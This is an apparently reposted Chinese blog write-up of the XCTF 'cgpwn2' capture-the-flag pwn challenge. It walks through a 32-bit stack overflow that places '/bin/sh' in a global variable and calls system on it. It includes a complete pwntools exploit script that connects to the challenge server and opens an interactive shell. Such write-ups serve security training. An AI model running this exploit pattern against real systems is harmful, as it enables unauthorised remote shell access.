攻防世界_pwn_cgpwn2(萌新版)
程序员文章站
2022-05-15 21:47:44
...
首发于鄙人博客:传送门
0x00 前言
省略file checksec,此两步大家都能够实现。
0x10 步骤
0x10 hello函数
为32位文件,用32位ida打开后,可以发现如下hello函数
在hello函数中我们可以发现,他让我们输入两块内容,一个是name,一个是some message。
0x11 _system函数
而在左侧的函数栏中,我们可以发现如下的system函数,该函数可以得到来自其他函数的参数。 而在这里需要得到/bin/sh,所以我们就需要想办法给他传入这个参数。
0x12 name--全局变量
我们需要传入的第一个参数是name,而查询name可以知道,他是一个全局变量。所以我们便可以在开始的时候给name传入参数“/bin/sh”,这样之后我们再把system所需要的参数地址设置位name的地址,那么便可以getshell了。
0x20 exp
通过以上的分析,我们不难得到exp的内容便为下
from pwn import *
elf = ELF("./cgpwn2")
sh = remote("111.198.29.45",30351)
name_addr = 0x0804A080
sys_addr = elf.symbols['system']
#也可以直接找sys的地址
sh.recvuntil("name")
sh.sendline("/bin/sh")
payload = 'a'*42+p32(sys_addr)+"aaaa"+p32(name_addr)
sh.recvuntil("here")
sh.sendline(payload)
sh.interactive()
0x21 exp收获
elf = ELF("./cgpwn2")可以在运行exp的时候对文件进行checksec检查。亲测鸡肋。
可以使用elf.symbols['system']查找system的地址,挺方便的。